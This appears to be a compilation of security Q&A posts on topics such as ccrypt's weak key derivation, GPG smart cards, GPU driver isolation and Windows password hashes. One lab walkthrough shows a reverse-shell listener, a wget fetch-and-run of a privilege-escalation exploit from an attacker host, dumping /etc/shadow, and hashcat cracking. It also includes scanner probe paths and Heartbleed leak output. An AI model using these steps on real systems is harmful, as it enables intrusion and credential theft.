Frankly, yes, there are some security concerns. The email link grants the recipient access to the account. If the user entered the wrong email, then by automatically sending the activation link again, you offer the unauthorised recipient another chance to take over the account.

If the user lost control over their email account, then the same problem applies.

In general, you want to give users positive control whether access-granting actions are performed.

Also, given that many "schroeders" mistakenly use my email address to sign up for things, I'm glad for non-automatic re-sending of activation emails. I get enough manually triggered email activation links for things I never signed up for ...


Is ccrypt 'AES 256' file encryption fundamentally flawed The unix/linux utility ccrypt claims to be a more secure replacement for the old unix crypt.  However it seems to me that it has a fundamental flaw.

When you encrypt a file using ccrypt it uses the password you provide to create a random 256-bit key to use with AES.  To decrypt the file you provide the password again, ccrypt uses the password to get the AES key and decrypt the file.

OK, the file is securely encrypted using 256-bit AES but its security is wholly dependent on the key being secure - and the key isn't secure.

When decrypting ccrypt actually tells you if the password used to decrypt the key is correct and doesn't try to decrypt if you give the wrong key.  Thus it would be trivial to brute-force the key as it tells you when you guessed right.

This problem applies to any file encryption which uses this approach, it's the security of the key that matters, the algorithm used for encoding the actual data is almost irrelevant.

Where messages and such are encrypted to protect them while in transit key based encryption makes sense but 'stationary' file encryption is different.  Even the GPG file encryption where the key is kept separately doesn't help much, it's usually obvious that GPG has been used and the keys are kept in 'well known' places.  Again it's the key security that matters and the file encryption is irrelevant.

OK, one could separate the key completely by putting it on a USB stick or something but for most file encryption this is a bit OTT and anyway losing the stick would mean losing one's data.  Files are things that usually need to be kept long term, keys need backing up with the files.

I'm thinking that for simple, in place, file encryption the old DES based crypt is better.  Brute forcing it is much more difficult.

Have I got this completely wrong or not?  :-)

Password-based encryption is inherently vulnerable to dictionary attacks. Indeed, when you have the encrypted file, you can always try to decrypt it (or parts of it) with a given password and see if the result makes sense. Thus, an attacker who could get his hands on the encrypted file (and we assume that this is possible, since otherwise there would be no point in encrypting), could "try passwords" on his own machines until a match is found. It shall be noted that the attacker does not need a 100% reliable test for the "result makes sense" part: if the attacker's test is sufficient to reject 99.9999% of wrong passwords, then he still reduced his list of passwords to double-check by a factor of one million.

That a tool such as ccrypt provides a test for rejecting wrong passwords does not change this fact. Sure, the attacker can then use the test as well, but it won't give him much of an additional advantage. The attacker could already work comfortably without that test, because real-life data has a lot of structure (most file formats have very recognizable headers) and if the attacker is interested in breaking the password, then the data must be valuable, hence "real-life".

There are two methods to make password-based encryption stronger; they are cumulative, and you should be using both. The first method is to use a strong password, which means a password with a lot of randomness in it (as usual, see this question for discussions on that subject). The second method is to convert the password into an encryption key using a good, properly configured password hashing function; the "proper configuration" there means that a salt will be used to prevent parallel attacks (when there are several encrypted files with distinct passwords, and the attacker would like to break one or several of them), and that the password hashing function is made deliberately expensive through many iterations to make dictionary attacks harder.

On the latter point, ccrypt appears to be defective. It hashes the password with what the FAQ describes as:

  Ccrypt uses a hashing algorithm based on AES (i.e., on the Rijndael block cipher). It is not one of the standard hashing algorithms such as SHA1. Thus, for your application, you should be fine. From the viewpoint of security, it does not matter much which hashing algorithm is used, as long as it is collision-free.

which does not bode well. First it is, by the author's own word, a custom homemade function, which is never a good sign. Moreover, the author talks about the function needing to be "collision-free", which is completely irrelevant for password-based key derivation, and thus indicates a relatively poor grasp of the requirements of such things; this is not a good sign either, especially when combined with a homemade function.

Looking at the source code (that's the nice thing with opensource: you can see for yourself what the author did not see fit to document), the custom hash appears to work in the following way:

Set K and H to both be sequences of 32 bytes of value 0x00.
For each password character c (a single byte; we are using an ASCII-compatible encoding such as UTF-8 here), do:

XOR every byte of K with c.
Replace H with the encryption of H using Rijndael with key K and block size 256 bits.

The final value of H is the "hashed password".

This calls for the following comments:

The FAQ says "AES" but it is not AES. AES is a family of three functions, which is a subset of the family of functions known as Rijndael. AES always uses 128-bit blocks; here, Rijndael is used with 256-bit blocks, so it is not AES stricto sensu.
As a hash function, it sucks. The process basically boils down to repeatedly encrypting a single block, using each time one in 256 possible keys (the 32 bytes of each encryption key are always identical to each other). Since this is symmetric encryption, symmetric decryption also works, which allows a meet-in-the-middle attack. Basically, the output size is 256 bits, but the preimage resistance is at best 2128, not 2256; while this is not an immediate concern for password hashing, it still demonstrates the fundamental flaw with custom schemes.
As a password hashing function, it stinks. Not only it is unsalted, but it is also extremely fast. An attacker with a basic PC will use the AES-NI instructions to compute a Rijndael encryption in a matter of a few dozens of clock cycles (the AES-NI instructions are meant to support AES specifically, but they can still be used to efficiently support 256-bit blocks; see section 2.1 of this paper). Moreover, since the password bytes are processed one-by-one, a lot of the computation cost can be shared between successive password trials: from hashed password 'foo', the hashes for 'fooA', 'fooB', 'fooC'... can be computed with a single Rijndael-256 invocation for each.

It can be estimated that a cheap, off-the-shelf PC would be able to hash at least 100 millions of potential passwords per second. Very few human-chosen passwords will resist such an onslaught for more than a few minutes at best. As far as password hashing is concerned, this is atrocious.

Summary: ccrypt is unduly weak against dictionary attacks, but not because it has a test for password correctness. It is weak because its password hashing procedure is a homemade construction that accumulates flaws making dictionary attacks extremely efficient. With a properly configured password hashing function (e.g. bcrypt), it could literally be made a million times stronger (the iteration count would be adjusted so that a PC could hash only 100 passwords per second, instead of 100 millions; it would still be highly usage because 1/100th of a second is not a large latency in human terms).


Malware through HTML 5 player Just curious if it is possible to get malware through a trusted site hosting an HTML 5 player.

I would imagine since Chrome is in a sandbox, nothing download to your computer?

There are no known public sandbox escapes for the latest version of Chrome so this would require a Chrome 0-day. This means that while it is not impossible it is very unlikely that a particular person has that knowledge.

Also note that such an exploit would possibly be worth quite a lot in the right context and thus unlikely to be widely spread or used on any low-value target.


Possible attack on website I am a developer and I therefor I have very little knowledge on security. So I need some help understanding the attack on website which we launched recently for one of our client. Website is built on Ruby on Rails and hosted on EC2 Ubuntu.

In website log I see lot of requests which are unusual, below are few examples. Please let me know ways to tackle this. Thanks.

  GET "/jquery/jQuery-File-Upload-jquery-ui/server/node/tmp/?C=D;O=A"

  GET "/manager/html" for

  GET "/phpBB3/images/avatars/"

  GET "/phpmyadmin/scripts/setup.php"

  GET "/w00tw00t.at.blackhats.romanian.anti-sec:)

Ignore them.

They look like automated scripts looking for common vulnerabilities in sites on the Internet. You say your site is built using RoR so the server most likely doesn't contain software like phpmyadmin. You won't be affected.


hashcat: No hashes loaded I've been trying Kioptrix: Level 1.1 (#2) and managed to get root access.
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

wolf@linux:~$ nc -vklp 8080
listening on [any] 8080 ...
10.10.10.10: inverse host lookup failed: Unknown host
connect to [10.10.10.99] from (UNKNOWN) [10.10.10.10] 32795

id
uid=48(apache) gid=48(apache) groups=48(apache)

cd /tmp
wget http://10.10.10.99/privesc.c
ls
privesc.c
gcc privesc.c -o privesc
./privesc

id
uid=0(root) gid=0(root) groups=48(apache)

cat /etc/passwd
cat /etc/shadow

unshadow file = md5.txt

wolf@linux:~$ cat md5.txt
root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:0:0:root:/root:/bin/bash
john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:500:500::/home/john:/bin/bash
harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:501:501::/home/harold:/bin/bash
wolf@linux:~$

However, I'm having a problem sending the unshadow file md5.txt to hashcat.

Any idea what's wrong with this?

wolf@linux:~$ hashcat -m 0 -a 0 md5.txt rockyou.txt
hashcat (v4.0.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================

Hashfile 'md5.txt' on line 1 (root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:0:0:root:/root:/bin/bash): Line-length exception
Hashfile 'md5.txt' on line 2 (john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:500:500::/home/john:/bin/bash): Line-length exception
Hashfile 'md5.txt' on line 3 (harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:501:501::/home/harold:/bin/bash): Line-length exception
Parsing Hashes: 0/3 (0.00%)...No hashes loaded.

Started: Mon May 25 01:17:21 2020
Stopped: Mon May 25 01:17:21 2020
wolf@linux:~$

Update

I've also tried with md5 hash only instead of unshadow file, but still didn't work.

md5 hash only

wolf@linux:~$ cat md5only.txt
$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.
$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1
$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1
wolf@linux:~$

Still getting the same Line-length exception, (0.00%)...No hashes loaded error.

wolf@linux:~$ hashcat -m 0 -a 0 md5only.txt rockyou.txt
hashcat (v4.0.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================

Hashfile 'md5only.txt' on line 1 ($1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.): Line-length exception
Hashfile 'md5only.txt' on line 2 ($1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1): Line-length exception
Hashfile 'md5only.txt' on line 3 ($1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1): Line-length exception
Parsing Hashes: 0/3 (0.00%)...No hashes loaded.

Started: Mon May 25 03:10:03 2020
Stopped: Mon May 25 03:10:03 2020
wolf@linux:~$

What version of your hashcat?

kali@kali:$ hashcat --version
v5.1.0
kali@kali:$

There are a few types of md5 supported by hashcat

kali@kali:$ hashcat -h | grep md5
     10 | md5($pass.$salt)                                 | Raw Hash, Salted and/or Iterated
     20 | md5($salt.$pass)                                 | Raw Hash, Salted and/or Iterated
     30 | md5(utf16le($pass).$salt)                        | Raw Hash, Salted and/or Iterated
     40 | md5($salt.utf16le($pass))                        | Raw Hash, Salted and/or Iterated
   3800 | md5($salt.$pass.$salt)                           | Raw Hash, Salted and/or Iterated
   3710 | md5($salt.md5($pass))                            | Raw Hash, Salted and/or Iterated
   4010 | md5($salt.md5($salt.$pass))                      | Raw Hash, Salted and/or Iterated
   4110 | md5($salt.md5($pass.$salt))                      | Raw Hash, Salted and/or Iterated
   2600 | md5(md5($pass))                                  | Raw Hash, Salted and/or Iterated
   3910 | md5(md5($pass).md5($salt))                       | Raw Hash, Salted and/or Iterated
   4300 | md5(strtoupper(md5($pass)))                      | Raw Hash, Salted and/or Iterated
   4400 | md5(sha1($pass))                                 | Raw Hash, Salted and/or Iterated
   4700 | sha1(md5($pass))                                 | Raw Hash, Salted and/or Iterated
   1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR)            | HTTP, SMTP, LDAP Server
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
   6300 | AIX {smd5}                                       | Operating Systems
kali@kali:$

If you check your hash with hashid, you'll find out that this is actually MD5 Crypt

kali@kali:$ hashid '$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.'
Analyzing '$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5
kali@kali:$

There is only 1 md5crypt, and the code number is 500

kali@kali:$ hashcat -h | grep md5.*cry
    500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)        | Operating Systems
kali@kali:$

Try again with correct hash mode which is 500 for this case

Try again ... voilà

kali@kali:~$ hashcat -m 500 -a 0 md5crypt.txt rockyou.txt
hashcat (v4.0.1) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
nvmlDeviceGetFanSpeed(): Not Supported

OpenCL Platform #1: NVIDIA Corporation
======================================

Hashes: 3 digests; 3 unique digests, 3 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte

Password length minimum: 0
Password length maximum: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastical reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger disabled.

* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=32 -D CUDA_ARCH=601 -D AMD_ROCM=0 -D VECT_SIZE=1 -D DEVICE_TYPE=4 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=500 -D _unroll'
* Device #1: Kernel m00500.c2bb92e8.kernel not found in cache! Building may take a while...

* Device #1: Kernel amp_a0.e98c1de0.kernel not found in cache! Building may take a while...

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

- Device #1: autotuned kernel-accel to 128
- Device #1: autotuned kernel-loops to 250


Is it a good idea to do double AES encryption with 2 different keys, when one is held by the user and one stored on the server? I'm building a web app. The app needs to keep certain data within the database very secure.

Please assume for the moment that I don't have a HSM or Key-Management facility and can't afford to implement one.

When storing away a user's data, I want to generate a random key and provide it to the user. This will not be stored anywhere on my server. This key will be used to encrypt the data.

I don't feel comfortable with the user having the only key required to decode the ciphertext, as I don't know how they're going to store it, whether they're going to email it around, etc.

As such, I intended to apply some further form of encryption on the server-side.

So first, I would encrypt the data using the random key provided to the user, and then encrypt that again, using either a static key, or a second random key which I WILL store on the server/db.

By not storing the random key provided to the user, the data remains protected if the server is compromised, as there is nowhere within the server or associated components that a hacker can obtain all the keys required to decrypt the data. They may get access to the static key, or second random key, but this won't be enough.

I was thinking of using AES for both the first and second encryption.

Is this a bad idea?
Should I instead create an encryption key that is a formula of the user's random key and the server-stored key, and then only encrypt once?
Should I do something completely different?

If the server is going to decrypt the data when presented with the user's key, that second layer of encryption does not protect against a leaked user's key.  Whoever has that key can decrypt the data.

A second layer of encryption does make a brute force attack harder, but if the key for the second layer is stored with the data that advantage vanishes as well.

Finally, your biggest worry isn't the user leaking the key, it is the user losing access to the key.  "I've got a new computer; please send my secret key again."


making online transactions over proxy So I went over quite a lot of topics here and on the internet.. but I still can't seem to completely understand this issue.
How secure really are services like proxies, VPN or VPS?

VPN is promoted everywhere as being safe. Proxies have different levels of anonymity.

But is there a possibility, that a VPN provider would have something like Wireshark running on the machine to track all the traffic?
Would you be watchful using any of the above services for online payments (paypal, credit card) ?

I understand that (if configured correctly) the chances of a 'man in the middle' can be quite low. But as I said, what if the provider himself is interested in violating the user's privacy?

You are absolutely correct there is no real way to know with certainty that the provider is not monitoring you. This could either be purposefully or due to an unnoticed compromise. A VPN service logging your traffic would not be able to necessarily break the encryption used for a web page. They can man in the middle your traffic, but unless they can exploit a weakness in the protocol or encryption, they are unable to see the encrypted data. They would know you went to the site, but not be able to see your password or any other details.


A BFE registry key's ACL is flagged by Microsoft Attack Surface Analyzer - what do I need to do? Can anyone help me to understand what kind of action I should take to mitigate this issue, which emerged from Microsoft Surface Attack Analyzer? How I can tighten the ACL? Is there a standard procedure to do?

Service BFE is vulnerable to tampering by multiple non-administrator accounts.
Description:

The service BFE is vulnerable to tampering by multiple non-administrator accounts.

Details:

Service: BFE
Registry keys writable by:

Key: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\services\BFE\Parameters\Policy\Persistent\Callout

Account Rights
NT SERVICE\BFE (S-1-5-80-1383140227-27657646-1662666058-2710981023-2300958487)  KEY_SET_VALUE
Local Service (S-1-5-19)    WRITE_DAC

Action:

The relevant ACL(s) must be tightened.

It says that this critical-for-security registry key is writeable by Local Service (S-1-5-19)    WRITE_DAC, which is a key security risk. Its ACL should be changed to administrator level group or users using the security tab for this key in regedit. Alternatively, you could simply remove this WRITE, as you never know what kind of integrity feature it is. With one bad ACL you can compromise the complete OS.


Why does UNIX `shred` command rename files to 000, then 00, then 0 before deleting? I was using shred to get rid of some files and I noticed that it did the following:

shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0

Does anyone know what's the point in renaming file to 000... etc?

After shred has finished overwriting the data of your file, (and assuming you used the -u flag to remove the file) it renames the file multiple times in order to also overwrite the filesystem record, removing metadata and all traces that the file existed.

Of course the success of the shred command depends on filesystem implementation, some newer journaling filesystems do not overwrite data in place; see details here


Strange devices & open ports on my network I have performed several Nmap scans on my network to determine what devices are connected and which ports are open. To my surprise I found a very strange device connected(which I do not know physically where it is) and some devices  have very suspicious ports open.

Below I will list the scans of the suspicious devices.

Nmap scan report for 192.168.1.1
PORT     STATE SERVICE       VERSION
23/tcp   open  telnet        Cisco or Actiontec MI424WR router telnetd
80/tcp   open  http
443/tcp  open  ssl/https
992/tcp  open  ssl/telnet    Cisco or Actiontec MI424WR router telnetd
8080/tcp open  http-proxy
8443/tcp open  ssl/https-alt

The above result is of my modem, the thing that is strange about it is that it has port 23 & 992 open. Whenever I log into my modem on the web user interface, I cannot see these ports open? I do have the option to open these ports, but they are unchecked. Which means it should be closed. So how can I close these ports?

Nmap scan report for 192.168.1.64 (Cisco Spvtg) Service Info: OS: Linux
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         Dropbear sshd 0.52 (protocol 2.0)
9001/tcp  open  tor-orport?
49152/tcp open  upnp        Portable SDK for UPnP devices 1.4.6-6 (Linux     2.6.31-3.3-isb6030; DLNADOC 1.50; UPnP 1.0)

The above scan is a device that I do not know where it is physically? It also has some very suspicious ports open? How can I identify this device? Should I try to kick it off my network?

Another scan that I cannot post currently, has an open port '12345 Netbus'? Is this some type of malware? The device is an android TV box. I will post the scan for this one later.

Thanks for helping :)

The above result is of my modem, the thing that is strange about it is
  that it has port 23 & 992 open.

These are probably ports to internally manage it, see if you can connect to it using telnet/ssh/putty and login with the credentials you have; but probably baked in into the firmware, and potentially with credentials that are specific to the device manufacturer.

The web interface on home devices (which I assume this is), is often for non-expert users to manage the device without many chances to break it.  There's no rule that every interface has to be manageable over the web interface.  Lookup your device online and see if there's any way to log into it; and configure these services.

A quick google for your device:

"The default user name for the Verizon MI424WR router is "admin," and the default password is "password"

  I do have the option to open these ports, but they are unchecked.
  Which means it should be closed. So how can I close these ports?

That's usually to allow ingress traffic; i.e - where you open a port on your WAN interface to be forwarded to an internal host.  This allows you to run services and make them accessible on the Internet.

  [..snip...] The above scan is a device that I do not know where it is
  physically? It also has some very suspicious ports open? How can I
  identify this device? Should I try to kick it off my network?

If you don't have WIFI, run a ping on this IP and try to unplug each device sequentially and see when it stops responding.  Looking at the DNS reverse looking (Cisco Spvgt), it may be an extra IP address that your modem has. Note that IP addresses are just based on IP stacks and not physical interfaces.

  Another scan that I cannot post currently, has an open port '12345
  Netbus'? Is this some type of malware? The device is an android TV
  box.

No, it's a service running on that port.  You can run any service on that port if you want.  NetBUS used to be known RAT that was using that port, and possibly the most known one.  Telnet to us, run Amap, or so - to see what is running.

THC's Amap may help you out more to see what protocol is behind these ports.


GPG encryption subkey on multiple smart cards issue Is there a way to tell GPG, that if it needs to decrypt something, that it can find the private encryption key on one of two smart cards?

My (simplified) setup is as follows:

Generated a master key offline with an encryption subkey.
Transferred the encryption subkey to Yubikey 1.
On Yubikey 1, generated auth and sign subkeys.
Transferred the encryption subkey to Yubikey 2.
On Yubikey 2, generated auth and sign subkeys.

So I am left with:

gpg2 --list-keys
/Users/scott/.gnupg/pubring.gpg
-------------------------------
pub   3072R/600955C7 2016-09-09
uid       [ultimate] Scott Cariss
uid       [ultimate] Scott Cariss (msn.com)
uid       [ultimate] Scott Cariss (bigfish.co.uk)
uid       [ultimate] [jpeg image of size 12378]
sub   2048R/6FE6415F 2016-09-09
sub   2048R/D6DBBCAC 2016-09-09
sub   2048R/01A208C9 2016-09-09
sub   2048R/8D2A1368 2016-10-23
sub   2048R/65B08C5B 2016-10-23

My encryption subkey is shared between smart cards and have individual auth and sign keys on each smart card.

But when I come to decrypt something it always goes to the first smart card and won't find the encryption key on the other smart card. The gpg-agent/pin entry will just ask me to insert the correct smart card.

UPDATE (Workaround)

As already answered, it is not something that GPG supports but I have found a working solution that works for me.

On Mac OS X I use https://www.controlplaneapp.com/ to detect the arrival of one of my smart cards (yubikeys) and get it to run a script:

#!/bin/bash
{
    killall -9 ssh-agent gpg-agent
    for keystub in $(/usr/local/MacGPG2/bin/gpg2 --with-keygrip --list-secret-keys {{EMAIL ADDRESS}} | grep Keygrip | awk '{print $3}'); do rm /Users/{{USERNAME}}/.gnupg/private-keys-v1.d/$keystub.key; done;
    /usr/local/MacGPG2/bin/gpg2 --card-status
    eval $(/usr/local/MacGPG2/bin/gpgconf --launch gpg-agent)
    ssh-add -l
} &> /Users/{{USERNAME}}/bin/gpg-card-change-log.txt

exit 0

As the secret keys are all kept offline, there is no harm in deleting them and then running --card-status which brings in the secret key stubs from the smart card currently plugged in.

I guess you will have bad luck, and this is not supported by GnuPG. When using OpenPGP smart cards, a secret key dummy is stored in your keyring, holding a reference to the smart card it is stored on. The secret key subpacket looks like this when displayed through gpg --list-packets:

:secret sub key packet:
        version 4, algo 1, created 1358985314, expires 0
        pkey[0]: [2048 bits]
        pkey[1]: [17 bits]
        gnu-divert-to-card S2K, algo: 0, simple checksum, hash: 0
        serial-number:  01 23 45 67 89 ab cd ef 01 23 45 67 89 ab cd ef
        keyid: 9FF7E53ACB4BD3EE

Peeking at the code, it does not seem to me more than one serial number would be supported.


How does the HTTPS server know where to get public or private key in following example I was going through the following tutorial https://www.youtube.com/watch?v=8ptiZlO7ROs to set up an HTTPS connection, and noticed that it seems the code only makes use of server.crt and server.key (I'm not sure if server.key is the public or private key in the RSA key pair). But shouldn't two keys be needed for HTTPS? (both public and private keys?).

Altogether, the tutorial covers generation of the following files:

ca.crt
ca.key
ca.srl
client.crt
client.csr
client.key
server.crt
server.csr
server.key

But the node.js code only seems to make use of server.crt and server.key:

const express = require('express')
const fs = require('fs')
const https = require('https')
const path = require('path')

const app = express()
const directoryToServe = 'client'

const port = 3443

app.use('/', express.static(path.join(__dirname,'..',directoryToServe)))

const httpsOptions = {
    cert: fs.readFileSync(path.join(__dirname,'ssl','server.crt')),
    key: fs.readFileSync(path.join(__dirname,'ssl','server.key'))
}

https.createServer(httpsOptions,app)
    .listen(port, function() {
        console.log(`Serving the '${directoryToServe}' directory at localhost:${port}`)
    })

My understanding of HTTPS is that:

The server sends the client a public key
The client returns a symmetric key encrypted with the public key
the server decrypts the symmetric key using the private key
the client and server communicate using the symmetric key

But as the code above uses only one key server.key (which I assume is the public key?), how does the HTTPS communication work since I assume both assymetric keys should be needed (public and private) to negotiate the symmetric key exchange?

Here is the code to generate the keys/certificates:

#!/bin/bash

# set values for certificate DNs
# note: CN is set to different values in the sections below
ORG="000_Test_Certificates"

# set values that the commands will share
VALID_DAYS=360
CA_KEY=ca.key
CA_CERT=ca.crt
CLIENT_KEY=client.key
CLIENT_CERT=client.crt
CLIENT_CSR=client.csr
CLIENT_P12=client.p12
SERVER_KEY=server.key
SERVER_CERT=server.crt
SERVER_CSR=server.csr
KEY_BITS=2048

echo
echo "Create CA certificate..."
CN="Test CA"
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:$KEY_BITS -out $CA_KEY
openssl req -new -x509 -days $VALID_DAYS -key $CA_KEY -subj "//CN=$CN\O=$ORG" -out $CA_CERT
echo "Done."

echo
echo "Creating Server certificate..."
CN="localhost"
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:$KEY_BITS -out $SERVER_KEY
openssl req -new -key $SERVER_KEY -subj "//CN=$CN\O=$ORG" -out $SERVER_CSR
openssl x509 -days $VALID_DAYS -req -in $SERVER_CSR -CAcreateserial -CA $CA_CERT -CAkey $CA_KEY -out $SERVER_CERT
echo "Done."

echo
echo "Creating Client certificate..."
CN="Test User 1"
USER_ID="testuser1"
P12_PASSWORD=
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:$KEY_BITS -out $CLIENT_KEY
openssl req -new -key $CLIENT_KEY -subj "//CN=$CN\O=$ORG\UID=$USER_ID" -out $CLIENT_CSR
openssl x509 -days $VALID_DAYS -req -in $CLIENT_CSR -CAcreateserial -CA $CA_CERT -CAkey $CA_KEY -out $CLIENT_CERT
openssl pkcs12 -in $CLIENT_CERT -inkey $CLIENT_KEY -export -password pass:$P12_PASSWORD -out $CLIENT_P12
echo "Done."

echo
echo "----- Don't forget to open your browser and install your $CA_CERT and $CLIENT_P12 certificates -----"
echo

Thank you in advance!

The certificate (which is sent from the server to the client) contains the public key (along with necessary information for the recipient to verify the key's authenticity). The other file (created by the genpkey operation) contains the private key (and enough information to produce the public key), and is never sent anywhere.

Run man genpkey to see more info about the genpkey operation.


Modern Linux GPU driver security How secure are modern Linux GPU drivers?

The threat model is an attacker who can execute arbitrary code in the context of an unprivileged user process, which is heavily locked down by seccomp-bpf, namespaces, and other mechanisms.  Specifically, it has an open file descriptor to the GPU, one to the default framebuffer, and one to an anonymous file in /tmp (to allocate memory).  It cannot open any files or perform any system calls not required for either allocating heap memory or using the GPU.

Are modern desktop Linux GPU drivers secure enough to provide isolation against malicious user programs?

The target application that I hope to use this for is Qubes OS, which currently cannot use the GPU for anything but compositing, so the level of security needs to be comparable to that provided by the Xen hypervisor or the idea is a non-starter.

Modern GPU drivers (not just limited to Linux) are really, really insecure. The way an application communicates with a GPU is through the Direct Rendering Manager, or DRM interface, using ioctl(2). These syscalls are used to pass references to complex data structures between the userland and kernel. The DRM interface is available in the form of two character devices:

The master node, which handles privileged operations (e.g. display control). It is exposed as the character device /dev/dri/cardX. It is often only writable by users in the video group. This device is traditionally kept open by the X server, which makes itself DRM master. The DRM master node has a considerable attack surface area and uses a complex API.

The render node, which handles generally unprivileged operations (e.g. GPGPU computing and rendering). It is exposed as the character device /dev/dri/renderDX. This device has a considerable attack surface area, despite only handling unprivileged operations.

Permissions checks for the DRM nodes are done when the device file is being opened, with a few exceptions. Once the file descriptor is present, any application with that descriptor in its set will be able to send arbitrary privileged commands to the graphics subsystem. This means that your isolation ends as soon as your untrusted process has a valid file descriptor to a DRM node. The security of the graphics subsystem depends on both the security of the DRM layer (which has a very complex interface), as well as the hardware-specific interfaces defined by the graphics driver itself. Different drivers define different interfaces, with some being more complex than others.
You said you were using seccomp-bpf. This is good! You will be able to vastly reduce the security issues intrinsic in a complex graphics subsystem. Make sure you are filtering any IOCTL which is called against a DRM node. Whitelist the commands which the IOCTL is permitted to send. Although you cannot whitelist the data structures being passed to the kernel, whitelisting the overall command is often sufficient and will vastly reduce the surface area available for an attacker.

A far from exhaustive list of severe graphics driver bugs:
Radeon

CVE-2005-0767
CVE-2011-1016

Nvidia (proprietary)

CVE-2013-5987
CVE-2016-7382
CVE-2016-7389

Intel (i915, etc)

CVE-2012-2383
CVE-2012-2384
CVE-2013-0913
CVE-2017-5727

Any driver (bug in the underlying DRM subsystem)

CVE-2011-1013
CVE-2012-0044

Modern x86 hardware is a scary beast. It is complex and not designed with security in mind. Even if absent of driver software vulnerabilities, GPUs can still pose a threat simply due to their complex nature and interaction with a complicated computer architecture over arcane protocols governed by membership-only thousand-page long specifications. Security is Hard™.


Both Ophcrack and ONTP&RE incorrectly show Windows 10 passwords as blank I'm trying to crack a Windows 10 laptop that I myself set a password on a day or so ago. So far I've tried booting into Ophcrack 3.6 and ONTP&RE (Offline NT Password & Registry Editor) from LiveUSBs - both report the password as being blank.

Ophcrack's insistence that the blank password has been found means it's not possible to initiate any cracking process, and it shows the same supposedly accurate blank hash as that seen here

  31d6cfe0d16ae931b73c59d7e0c089c0

ONTP&RE returns the error:

  No NT MD4 hash found. This user probably has a BLANK password!
  No LANMAN has found either. Try login with no password.

I've confirmed that a non-blank password is definitely set before and after booting from both the live USBs, and others have reported using both to successfully crack W10 passwords, so what's going on here to cause this problem? I really don't want to have to be forced to use more dedicated, time-consuming cracking tools like Mimikatz and hashcat unless Windows 10 is truly beyond the capabilities of tools like Ophcrack and ONTP&RE.

Windows 10 anniversary update uses new SAM encryption. Hashes are stored differently too. That's why PWDUMP seems always returns an empty hash. Windows 10 Anniversary Update and later uses AES128 to encrypt password's MD4 hash.


How is PKI used to encrypt an e-mail for multiple recipients? My understanding is that when an e-mail is encrypted and sent to a recipient, the recipient's public key is used to encrypt the e-mail, and then only the recipient can decrypt it with their private key.  However, how would this process work when sending an encrypted e-mail to multiple recipients?

My best guess would be that the e-mail program must "make copies" of the e-mail for each recipient, and then encrypt each with the recipient's public key, and then send it to each recipient.  After this, each recipient could then decrypt their copy with their private key.  Would this be correct?  I have not yet been able to find an answer searching online.

This is done as you say, except with an optimization. The email itself is encrypted with a newly generated random symmetric key; and that key is then encrypted with the public key of each recipient. This means that if you have a 2MB email and send it to 20 people, total size is a bit more than 2MB, not 40MB.


Heartbleed POC: Is this sensitive information? In order to demonstrate the Heartbleed problem, I executed a publicly available exploit against a vulnerable old NAS web-server that has since been replaced.

Below is an excerpt from the subsequent output:
(Some of which, appears to be binary or encrypted.)

...................................................................../index.php......RC4-SHA.RC4-SHA.Xq?...............?.......?.....index...php.ex.h....................SHA.application
/x-httpd-php.mod_ssl/2.2.14..mod_ssl/2.2.14..OpenSSL/1.0.1e..OpenSSL/1.0.1e..TLSv1.2.NULL....RC4-SHA.RC4-SHA.false...false.............128...128...............128...128.....NONE....3.......3........
ABF42CCAC60E1D07........ABF42CCAC60E1D07........ABF42CCAC60E1D07........Jul 12 04:20:13 2011 /L=Taipei/O=QNAP Systems Inc./OU=NAS/CN=TS Series NAS/emailAddress=q_support@qnap.com....
